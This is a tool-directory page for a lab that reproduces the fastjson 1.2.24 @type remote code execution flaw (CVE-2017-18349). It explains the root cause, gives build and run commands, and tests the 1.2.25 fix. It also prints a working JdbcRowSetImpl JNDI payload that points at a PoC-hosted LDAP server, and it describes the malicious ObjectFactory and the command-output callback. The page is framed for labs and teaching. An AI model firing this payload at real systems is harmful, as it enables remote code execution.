Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Submit
ToolsExploitsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

FeedsContactPrivacy© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2017-18349-fastjson1.2.24-vul — Runnable fastjson 1.2.24 Spring Boot lab with a Python PoC that serves LDAP/HTTP, delivers a malicious ObjectFactory via @type JNDI, and verifies RCE and the 1.2.25 fix. | Kitploit
Tools/GitHubGitHub/dichen-l/cve-2017-18349-fastjson1.2.24-vul
Vulnerability AnalysisExploitationWeb Application ExploitationWeb SecurityCTFPenetration TestingLearning & EducationPayload DevelopmentLabs & Practice
GitHubdichen-l/cve-2017-18349-fastjson1.2.24-vul

CVE-2017-18349-fastjson1.2.24-vul

Runnable fastjson 1.2.24 Spring Boot lab with a Python PoC that serves LDAP/HTTP, delivers a malicious ObjectFactory via @type JNDI, and verifies RCE and the 1.2.25 fix.

View Repository
14 days agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

  • 1

    OsintHunter

    letox4/osinthunter

    🎯 The ultimate OSINT toolkit: investigation graph, confidence scoring, alias families, map, timeline and reports. 49 modules, 400+ sites, no API keys required.

    936
  • 2

    ghostlock-app

    yukonga/ghostlock-app

    GhostLock One-Tap Execution App (CVE-2026-43499)

    555
  • 3

    redforge

    cybersecurity91/redforge

    Browser-side red team toolkit with 102 offline tools for recon, payload generation, credential attacks, crypto, encoding and engagement reporting.

    353
  • 4

    ARTEX

    baarai/artex

    LLM multi-agent autonomous penetration testing platform with planner/worker agents, asset and exploration graphs, MITM traffic recording, and vulnerability retesting.

    348
  • 5

    looking-glass

    anonghosty/looking-glass

    CSIRT platform that ingests Shadowserver reports into MongoDB and replays them as interactive maps, analysis, findings, advisories and executive dashboards.

    336
  • 6

    CyberStrikeAI

    ed1s0nz/cyberstrikeai

    The system of action for AI-native cybersecurity—where intent becomes governed execution, evidence becomes operational memory, and every operation improves the next.

    288

Explore all tools

Browse our collection of tools

View all tools →
Share

CVE-2017-18349 fastjson 1.2.24 @type Remote Code Execution Reproduction Environment

This is a runnable minimal reproduction environment: Spring Boot 2.7.18 executable fat-jar + fastjson 1.2.24, with an unauthenticated JSON API as the entry point. The accompanying pure Python PoC starts a minimal LDAP and HTTP service, hosts a malicious ObjectFactory, prints the @type payload and sends it automatically, with command results returned over HTTP.

Authorized testing only: This project executes arbitrary commands within the target process and exposes malicious classes externally. Use it only for local experiments, CTFs, teaching, or explicitly authorized security testing. Do not use it against unauthorized systems. Stop the application and PoC services immediately after testing is complete.

Vulnerability Overview

  • Affected scope: com.alibaba:fastjson < 1.2.25; fixed in 1.2.25.
  • Key prerequisites: The target JVM is a version prior to JDK 8u191, and the business code calls JSON.parseObject on controllable JSON. The classic chain requires loading ObjectFactory from a remote javaCodeBase via JNDI; this path is disabled by default starting from 8u191 GA.
  • Root cause: In 1.2.24, DefaultJSONParser:322 directly calls TypeUtils.loadClass upon receiving @type, with no autoType gate on the parsing path; the ParserConfig blacklist is only checked inside getDeserializer, after class loading, by prefix, and by default contains only java.lang.Thread.
  • Characteristics: No exploit chain needs to exist on the target classpath; LDAP/HTTP/malicious classes are all provided by the PoC, and the interface ultimately returning 500 is expected behavior (the command has already executed).

Repository Structure

CVE-2017-18349-fastjson1.2.24-vul/
├── README.md                              # 本文件
├── CVE-2017-18349-fastjson1.2.24/         # 漏洞环境
│   ├── pom.xml                            # 聚合 POM(vuln-app,默认 1.2.24,-Pfix 切 1.2.25)
│   └── vuln-app/                          # Spring Boot 2.7.18 + fastjson 1.2.24
└── CVE-2017-18349-fastjson1.2.24-poc/     # 配套 PoC
    ├── poc.py                             # 纯 Python,仅标准库
    ├── README.md                          # 参数、17 行矩阵、成功/拒绝现象
    └── payloads/                          # 恶意 ObjectFactory 源码与预编译字节码

Environment Requirements

ItemRequirement
Build JDKJDK 8 (verified 1.8.0_503)
Runtime JDKJDK < 8u191 (verified 1.8.0_65; 8u65 has no trustURLCodebase guard)
Maven3.6+ (verified 3.9.16)
Python3.8+ (verified 3.11, standard library only)
Ports8091 application, 1389 LDAP, 8888 HTTP, 5005 JDWP
NetworkThe target must be able to reach --host:1389/8888; use 127.0.0.1 for local reproduction
Target systemWindows (the PoC executes commands via cmd.exe /c)

Tested environment: Windows 10 x64, Oracle JDK 1.8.0_65 (runtime) / 1.8.0_503 (build), Apache Maven 3.9.16, Python 3.11. When started with 8u191+, the application still runs, but the Reference returned by LDAP will not be loaded remotely, and the payload does not take effect—this is a deployment prerequisite, not an environment defect.

Quick Start

1. Build

Run the following in the project root directory (the directory containing this README):

cd CVE-2017-18349-fastjson1.2.24
set "JAVA_HOME=<JDK 8 安装目录>"
mvn -B -DskipTests clean package
jar tf vuln-app\target\fastjson124-demo.jar | findstr /C:"fastjson-1.2.24.jar"

The last entry should output BOOT-INF/lib/fastjson-1.2.24.jar; looking only at pom.xml is not enough.

2. Start the application

"%JDK8U65%\bin\java.exe" -agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=5005 ^
  -jar vuln-app\target\fastjson124-demo.jar

%JDK8U65% points to the installation directory of 1.8.0_65; remove -agentlib:jdwp=... when remote debugging is not needed. Do not launch with 8u191+, and do not add -Dcom.sun.jndi.ldap.object.trustURLCodebase=true.

3. Confirm the runtime state

curl -s http://127.0.0.1:8091/api/info
curl -s -X POST http://127.0.0.1:8091/api/parse -H "Content-Type: application/json" ^
  -d "{\"name\":\"alice\",\"age\":18}"

/api/info should contain:

{
  "fastjson_version": "1.2.24",
  "fastjson_jar": "fastjson-1.2.24.jar",
  "auto_type_support": "not-present",
  "check_auto_type_present": false,
  "java_version": "1.8.0_65",
  "jndi_naming_helper_trust_url_codebase": "field-not-present"
}

The second request should return 200, parsed_class=com.alibaba.fastjson.JSONObject.

4. Run the PoC

Open another terminal and execute the following in the project root directory:

cd CVE-2017-18349-fastjson1.2.24-poc
python poc.py --target http://127.0.0.1:8091 --host 127.0.0.1

--host is the address used when the target accesses LDAP/HTTP; for local reproduction, fill in 127.0.0.1. The PoC by default executes whoami & hostname, and hosts LDAP and the malicious class on ports 1389/8888; it sends the following to /api/parse:

{"@type":"com.sun.rowset.JdbcRowSetImpl",
 "dataSourceName":"ldap://127.0.0.1:1389/single",
 "autoCommit":true}

5. Signs of Success

single                   PASS HTTP=500 rce=True  ldap=1  parsed=com.alibaba.fastjson.JSONException
command output:
win-2pgvtgciuvv\administrator
WIN-2PGVTGCIUVV
evidence: ...\evidence\command-output.txt

A target returning 500 set property error, autoCommit / NPE is expected behavior: setAutoCommit has already triggered the JNDI lookup, the factory executes the command and returns null, and only then does DataSource.getConnection() throw a null pointer. Judgment is based on side effects: LDAP hit, target fetching Evl.class/cmd.txt, and callback of whoami/hostname output; a 500 alone without these callbacks does not count as success.

PoC Parameters

ParameterDescription
--target URLTarget base address, e.g. http://127.0.0.1:8091; when omitted, prints the payload and keeps hosting
--host HOSTAddress the target uses to access LDAP/HTTP, default 127.0.0.1
--ldap-port N / --http-port NLDAP / HTTP listening ports, default 1389 / 8888
--command CMDCommand passed to cmd.exe /c, default whoami & hostname; {token} is replaced with the line number
--matrixRun the full 17-row matrix (vulnerable version 17/17, 5 rows RCE; fixed version 17/17, 0 rows RCE)
--json PATH / --save-http DIRLocal troubleshooting artifacts; not delivered with the project
--timeout N / --wait NRequest timeout (25s) / hosting limit when --target is omitted (300s)

For full parameters, per-row matrix expectations, and success criteria, see CVE-2017-18349-fastjson1.2.24-poc/README.md.

Manually Sending the Payload

When --target is omitted, the PoC prints the payload and keeps the LDAP/HTTP services running (execute from the project root):

cd CVE-2017-18349-fastjson1.2.24-poc
python poc.py --host 127.0.0.1

Use curl or an IDE HTTP Client to send the printed payload to /api/parse. After the PoC receives the callback, it will print the command output and exit; the timeout is controlled by --wait.

Fix Retest

  1. Build 1.2.25 with -Pfix, and confirm the packaged contents:

    cd CVE-2017-18349-fastjson1.2.24
    mvn -B -Pfix -DskipTests clean package
    jar tf vuln-app\target\fastjson124-demo.jar | findstr /C:"fastjson-1.2.25.jar"
    
Download Tool